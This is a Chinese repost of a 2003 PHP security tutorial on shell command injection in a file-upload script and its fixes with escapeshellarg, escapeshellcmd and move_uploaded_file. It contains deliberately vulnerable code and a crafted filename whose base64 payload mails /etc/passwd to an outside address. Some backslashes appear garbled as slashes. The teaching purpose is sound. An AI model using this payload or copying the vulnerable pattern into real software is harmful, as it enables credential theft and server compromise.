PHP安全(2)

【tkinter标准对话框】filedialog:打开保存,文件对话框! tkinter标准对话框filedalog,打开保存,文件对话框! 阅读详情

 

by John Coggeshall
08/28/2003

欢迎回到PHP Foundations。在我的上一篇文章中,我向你们介绍了在PHP中可能危及安全的做法,继续了我在养成良好的PHP编程习惯方面的系列文章。

这篇文章将用更多的潜在安全漏洞和修复它们的工具和方法的实例来继续我们的讨论。今天我将开始谈及一个在PHP开发中很严重的潜在安全漏洞——编写底层操作系统调用的程式。 

在PHP中执行系统调用

在PHP中有很多方法可以执行系统调用。

比如,system(), exec(), passthru(), popen()和 反单引号(`)操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。

使用系统调用的一个例子程式

考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录(默认为/usr/local/archives/)。代码如下:

<?php
    
    $zip        = "/usr/bin/zip";
    
    $store_path = "/usr/local/archives/";
    

   
     
   
    if (isset($_FILES['file'])) {
    
        $tmp_name = $_FILES['file']['tmp_name'];
    
        $cmp_name = dirname($_FILES['file']['tmp_name']) .
    
            "/{$_FILES['file']['name']}.zip";
    
        $filename = basename($cmp_name);
    

   
     
   
        if (file_exists($tmp_name)) {
    
            $systemcall = "$zip $cmp_name $tmp_name";
    
            $output     = `$systemcall`;
    

   
     
   
            if (file_exists($cmp_name)) {
    
                $savepath = $store_path.$filename;
    
                rename($cmp_name, $savepath);
    
            }
    
        }
    
    }
    
?>
    

   
     
   
<form enctype="multipart/form-data" action="<?
    
    php echo $_SERVER['PHP_SELF']; 
    
?>" method="POST">
    
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
    
File to compress: <input name="file" type="file"><br />
    
<input type="submit" value="Compress File">
    
</form>
   

虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到这点:

if (isset($_FILES['file'])) {
    
    $tmp_name = $_FILES['file']['tmp_name'];
    
    $cmp_name = dirname($_FILES['file']['tmp_name']) .
    
        "/{$_FILES['file']['name']}.zip";
    

   
     
   
    $filename = basename($cmp_name);
    

   
     
   
    if (file_exists($tmp_name)) {
    
        $systemcall = "$zip $cmp_name $tmp_name";
    
        $output = `$systemcall`;
    
 ...
   
欺骗程式执行任意shell命令

虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!

准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名(带有 .zip扩展名)。我们用到了$_FILES['file']['name'](它包含了上传文件在客户机时的文件名)。

在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?(UNIX shell提示符下)

 

[user@localhost]# touch ";php -r '/$code=base64_decode(//
    
    /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==///");
    
system(/$code);';" 
    

这个命令将创建一个名字如下的文件:

;php -r '$code=base64_decode(
    
/"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/");
    
system($code);';
   

看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:

<?php
    
$code=base64_decode(
    
    /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/");
    
system($code);
    
?>
   

如果你出于好奇而显示$code变量的内容,就会发现它包含了mail baduser@somewhere.com < /etc/passwd。如果用户把这个文件传给程式,接着PHP执行系统调用来压缩文件,PHP实际上将执行如下语句:

/usr/bin/zip /tmp/;php -r
    
'$code=base64_decode(
    
    /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/");
    
system($code);';.zip /tmp/phpY4iatI
   

让人吃惊的,上边的命令不是一个语句而是3个!由于UNIX shell 把分号(;)解释为一个shell命令的结束和另一命令的开始,除了分号在在引号中时,PHP的system()实际上将如下执行:

[user@localhost]# /usr/bin/zip /tmp/
    
[user@localhost]# php -r
    
'$code=base64_decode(
    
    /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/");
    
system($code);'
    
[user@localhost]# .zip /tmp/phpY4iatI
   

如你所见,这个看起来无害的PHP程式突然变成执行任意shell命令和其他PHP程式的后门。虽然这个例子只会在路径下有CLI版本的PHP的系统上有效,但是用这种技术可以通过其他的方法来达到同样的效果。

对抗系统调用攻击

这里的关键仍然是,来自用户的输入,不管内容如何,都不应该相信!问题仍然是如何在使用系统调用时(除了根本不使用它们)避免类似的情况出现。为了对抗这种类型的攻击,PHP提供了两个函数,escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函数是为了从用作系统命令的参数的用户输入(在我们的例子中,是zip命令)中移出含有潜在危险的字符而设计的。这个函数的语法如下:

escapeshellarg($string)
   

$string所在处是用于过滤的输入,返回值是过滤后的字符。执行时,这个函数将在字符两边添加单引号,并转义原来字符串中的单引号(在其前边加上/)。在我们的例程中,如果我们在执行系统命令之前加上这些行:

$cmp_name = escapeshellarg($cmp_name);
    
$tmp_name = escapeshellarg($tmp_name);
   

我们就能通过确保传递给系统调用的参数已经处理,是一个没有其他意图的用户输入,以规避这样的安全风险。

escapeshellcmd()和escapeshellarg()类似,只是它只转义对底层操作系统有特殊意义的字符。和escapeshellarg()不同,escapeshellcmd()不会处理内容中的空白格。举个实例,当使用escapeshellcmd()转义时,字符

$string = "'hello, world!';evilcommand"
   

将变为:

/'hello, world/'/;evilcommand
   

如果这个字符串用作系统调用的参数它将仍然不能得到正确的结果,因为shell将会把它分别解释为两个分离的参数: /'hello 和 world/'/;evilcommand。如果用户输入用于系统调用的参数列表部分,escapeshellarg()是一个更好的选择。

 

 

保护上传的文件

在整篇文章中,我一直只着重讲系统调用如何被恶意用户劫持以产生我们不希望结果。

但是,这里还有另外一个潜在的安全风险值得提到。再看到我们的例程,把你的注意力集中在下边的行上:

$tmp_name = $_FILES['file']['tmp_name'];
    
$cmp_name = dirname($_FILES['file']['tmp_name']) .
    
    "/{$_FILES['file']['name']}.zip";
    

   
     
   
$filename = basename($cmp_name);
    
if (file_exists($tmp_name)) {
   

上边片断中的代码行导致的一个潜在安全风险是,最后一行我们判断上传的文件是否实际存在(以临时文件名$tmp_name存在)。

这个安全风险并不来自于PHP自身,而在于保存在$tmp_name中的文件名实际上根本不是一个文件,而是指向恶意用户希望访问的文件,比如,/etc/passwd。

为了防止这样的情况发生,PHP提供了is_uploaded_file()函数,它和file_exists()一样,但是它还提供文件是否真的从客户机上上传的检查。

在绝大多数情况下,你将需要移动上传的文件,PHP提供了move_uploaded_file()函数,来配合is_uploaded_file()。这个函数和rename()一样用于移动文件,只是它会在执行前自动检查以确保被移动的文件是上传的文件。move_uploaded_file()的语法如下:

move_uploaded_file($filename, $destination);
   

在执行时,函数将移动上传文件$filename到目的地$destination并返回一个布尔值来标志操作是否成功。

John Coggeshall 是一位PHP顾问和作者。从他开始为PHP不眠已经5年左右了。

【13】MFC入门到精通——MFC 文件对话框 CFileDialog (打开文件 和 保存文件 对话框) 文件对话框是Windows系统中常见的交互组件,分为打开文件对话框和保存文件对话框两种类型。MFC通过CFileDialog类封装了文件对话框的操作,其构造函数参数包括对话框类型、默认扩展名、初始文件名、过滤器等配置选项。本文通过实例演示了如何创建基于对话框的MFC应用程序,实现打开和保存文件功能。代码示例展示了如何设置文件过滤器、获取文件路径、读写文件内容等操作。运行程序可看到两种对话框的实际效果,并验证了文件读取和写入功能。该实现简单直观,体现了MFC对文件对话框的良好封装。 阅读详情

相关推荐

从零到一:基于Matlab的二阶系统时域性能指标计算与可视化实战

本文提供了一份基于Matlab的二阶系统时域性能指标计算与可视化实战指南。通过详细的代码示例,手把手教你如何利用Matlab计算超调量、调节时间等关键指标,并绘制阶跃响应曲线进行可视化分析,帮助控制工程学习者和从业者快速掌握系统性能评估方法。

weixin_29096377的博客 269

PHP escapeshellarg()+escapeshellcmd()绕过

这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。当进行escapeshellarg()函数处理后,会先进行字符转义,变成如下。那么我们在传入参数的前面添加单引号,后面空格加单引号。

rev1ve的博客 4543

ffmpeg 4.4 cenc-aes-ctr 加解密 MP4 工程性质分析

ffmpeg 4.4 cenc-aes-ctr 加解密 MP4 工程性质分析

Dream_Dynasty的博客 3045

day5-escapeshellarg与escapeshellcmd使用不当

文章目录Day 5 - postcardescapeshellcmd()函数escapeshellarg()函数小案列总结: Day 5 - postcard escapeshellcmd()函数 escapeshellarg()函数 escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 小案列 可见两个函数配合使用就会导致多个参数的注入。 1、传入的参数是:172.17.0.2’ -v -d a=1 2、经过escapeshellarg处理后变成了’172.17.

qq_45951598的博客 2465

【TensorRT】TensorRT C# API 项目介绍:基于C#与TensorRT部署深度学习模型(上篇)

开发了TensorRT C# API 2.0版本,该版本在开发时充分考虑了上一版本应用时出现的问题,并进行了改进。同时在本版本中,我们对接口进行了优化,使用起来更加简单,并同时提供了相关的应用案例,方便开发者进行使用。

grape_yan的博客 3038

【浅读论文-红外和可见光图像融合-CNN】Infrared and Visible Image Fusion using a Deep Learning Framework

1.这篇是2018年ICPR会议上发表的一篇文章1。博主个人觉得这算比较早期在VIF(红外光和可见光图像融合)中加入了深度学习这一模型的论文。2.这篇文章并不是完全使用深度学习的模型,模型主体在图像分解和融合仍然采用传统的方法,只有其中一个分支在特征提取和重建方面用到了VGG网络。3.论文地址4.代码地址本文提出了基于深度学习框架的一种新算法。本文提出使用下述论文中Image fusion with guided filtering2中的分解方法将源图像分解为基本部分和细节内容。

一枚博鼠的博客 1708

escapeshellarg 和 escapeshellcmd 绕过之[BUUCTF 2018]Online Tool

知识点:escapeshellarg 和 escapeshellcmd 绕过nmap -oG 参数,将结果和命令写入到文件详细:参考谈谈escapeshellarg参数绕过和注入的问题escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)我的理解

qq_58970968的博客 1690

TDDFT计算软件Octopus学习笔记(二):基态计算(Si)

本文以硅为例,来进行基态计算。

陈啸的博客 7307

学习笔记-php代理审计_可能被利用的函数

in_array() 功能: 检查数组中是否存在某个值。 定义: in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool 解释:大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。 当in_array()函数的第...

ai agent 538

定位精度再突破!Inner-MPDIoU让YOLOv11边界框回归更精准

Inner-MPDIoU 凭借辅助边框与最小点距离的双机制创新,彻底解决了传统 IoU 损失在边界框回归上的精度瓶颈。本教程从原理到代码实现,再到工业场景适配,完整呈现了其在 YOLOv11 中的集成路径。只需简单修改两处核心脚本,你的目标检测模型就能在边界框定位精度上实现跨越式提升——无论是学术研究中的指标突破,还是工业场景下的精细检测需求,Inner-MPDIoU 都能成为你攻克边界框回归难题的利器。现在就动手尝试,让你的检测模型在定位精度上再上一个台阶吧。

FJN110的博客 158

电容放电测试解析

电子设备断电后滤波电容残留电荷存在触电风险,需符合IEC等安全标准对放电时间的要求。放电测试需测量电容电压下降至安全值的时间,设计可采用主动放电电路或被动放电电阻。常见问题包括电阻选择不当或电路设计缺陷,建议预留放电时间裕度并采用组合放电方案。合规的放电设计是确保产品安全性和可靠性的关键环节。

硬核科技 800

escapeshellarg参数绕过和注入的问题

将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。在windows系统中,system函数直接在控制台调用一个command命令。参数,命令执行后的返回状态会被写入到此变量。参数, 那么会用命令执行的输出填充此数组。)都会被一个额外的反斜线所转义。

m0_75178803的博客 3265

MATLAB 开发项目实例 1000 例专栏之第37例:基于Simulink的无人机飞行控制系统设计

通过上述项目实例,我们成功地使用Simulink设计和仿真了一个无人机的飞行控制系统。这个项目展示了从无人机建模、路径规划、控制器设计到仿真验证的完整流程。Simulink的可视化和模块化特性使得系统的建模和仿真更加直观和高效。

xiaoheshang_123的博客 163

VC++ 读取和保存文件对话框及默认目录!

 void Openfile(){ // TODO: Add your control notification handler code here //显示文件打开对话框 CFileDialog dlg(TRUE, "EC", "*.aes",OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,"Aes Files(*.aes)|*.aes");  if ( dlg.D

黑色幽灵的专栏 2820

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

VC++ 读取和保存文件对话框及默认目录! (转)

void Openfile(){ // TODO: Add your control notification handler code here //显示文件打开对话框 CFileDialog dlg(TRUE, "EC", "*.aes",OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,"Aes Files(*.aes)|*.aes");  if ( dlg.DoMo

miaoshengwu Blog 5285

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

下载文件的奇怪问题--出现第二个保存对话框的原因!

FullFileName = Server.MapPath(sSavePath + sFilename); FileInfo DownloadFile = new FileInfo(FullFileName); Response.Clear(); ...

weixin_30588827的博客 101

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

文件的保存对话框

文件选择对话框包括文件的打开与保存和自定义几种类别。其中文件保存对话框常用于各类编辑器模块中,如系统自带的记事本程序的文件保存对话框、画图程序的文件保存对话框以及Photoshop程序的文件保存对话框等。本实例将通过Java代码实现文件保存对话框的显示,读者可以把它应用到自己的项目中。实例运行效果如图 在其中输入编辑文本,然后选择“文件”/“保存”命令,弹出“保存”对话框,如图

JAVA编程词(Java) 3709

PyQt5 文件保存对话框

Qt的文件保存对话框和文件打开对话框一样,返回的都是一个文件路径,所以调用文件对话框QFileDialog只是为了实时获取文件路径而不是对文件进行操作,文件保存操作和文件获取操作相比,文件保存操作可以直接输入路径,而文件获取只能从已有的路径中选择一个路径,本实例可以打开一个文本类文件获取其路径,然后保存到另一个路径,等于复制文件。 import sys import os from PyQt5...

只想整天学习 7510

wpf打开文件对话框、保存文件对话框、选择文件夹对话框

打开文件对话框、保存文件对话框使用Microsoft.Win32的方法 选择文件夹对话框使用System.Windows.Forms的方法 打开文件对话框 //创建一个打开文件的对话框 Microsoft.Win32.OpenFileDialog dialog = new Microsoft.Win32.OpenFileDialog() { Filter = "All Files|*.*"; ...

Steven-C的博客 5071

java文件保存对话框_文件的保存对话框

文件选择对话框包括文件的打开与保存和自定义几种类别。其中文件保存对话框常用于各类编辑器模块中,如系统自带的记事本程序的文件保存对话框、画图程序的文件保存对话框以及Photoshop程序的文件保存对话框等。本实例将通过Java代码实现文件保存对话框的显示,读者可以把它应用到自己的项目中。实例运行效果如图在其中输入编辑文本,然后选择“文件”/“保存”命令,弹出“保存”对话框,如图本实例同样使用JFil...

weixin_39857876的博客 1062

MFC:用另存为对话框保存文件

主要代码: CStdioFile file; CString filepath; TCHAR szFilter[] = _T("文本文件(*.txt)|*.txt|所有文件(*.*)|*.*||"); CFileDialog fileDlg(FALSE, _T("txt"), m_txtName, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, szFilter,

小咸鱼_的博客 1万+

VC 打开文件对话框/保存文件对话框/ 选择文件夹对话框

#include <windows.h> #include <ShlObj.h> #include <tchar.h> // 打开文件对话框 VOID OpenFileDialog() { // 打开文件对话框 OPENFILENAME ofn; TCHAR szFileName[MAX_PATH] = { 0 }; // 保存文件完整路径 TCHAR szTitleName[MAX_PATH] = { 0 }; // 保存文件名 // 设置过滤条件 .

技术皮皮虾 2009

Electron 打开保存文件对话框

1、引入相关模块 imports = {}; imports.fs = require('fs'); // nodejs文件系统模块 imports.remote = require('electron').remote; window.imports = imports; 2、主要代码 onSaveButtonClick(): void { const dialog = this.imports.remote.dialog; const window = this.imports.

记录工作开发中遇到的技术难点,方便自己查看,也希望可以帮助到他人... 1608

pyqt 文件载入对话框,文件保存对话框,打开文件夹对话框

#-*- coding:utf-8 -*- #######pyqt  文件载入对话框,文件保存对话框,打开文件夹对话框 from PyQt4.QtCore import * from PyQt4.QtGui import * import sys class MyWindow(QDialog,QWidget): def __init__(self,parent = None):

caobin0825的博客 8695

[MFC]选择目录对话框和选择文件对话框 保存对话框

转载来自:http://blog.youkuaiyun.com/u012005313/article/details/46639349 在MFC编程中经常会需要用到选择目录和选择文件的界面,以下总结一下本人常用的这两种对话框的生成方法: 选择目录对话框 [cpp] view plain copy //选择目录按钮   void CD

songyimin1208的博客 4674
上一篇: PHP 安全 (1)
下一篇: PHP:路在何方?
KBUG
博客等级 码龄24年 5粉丝 39原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值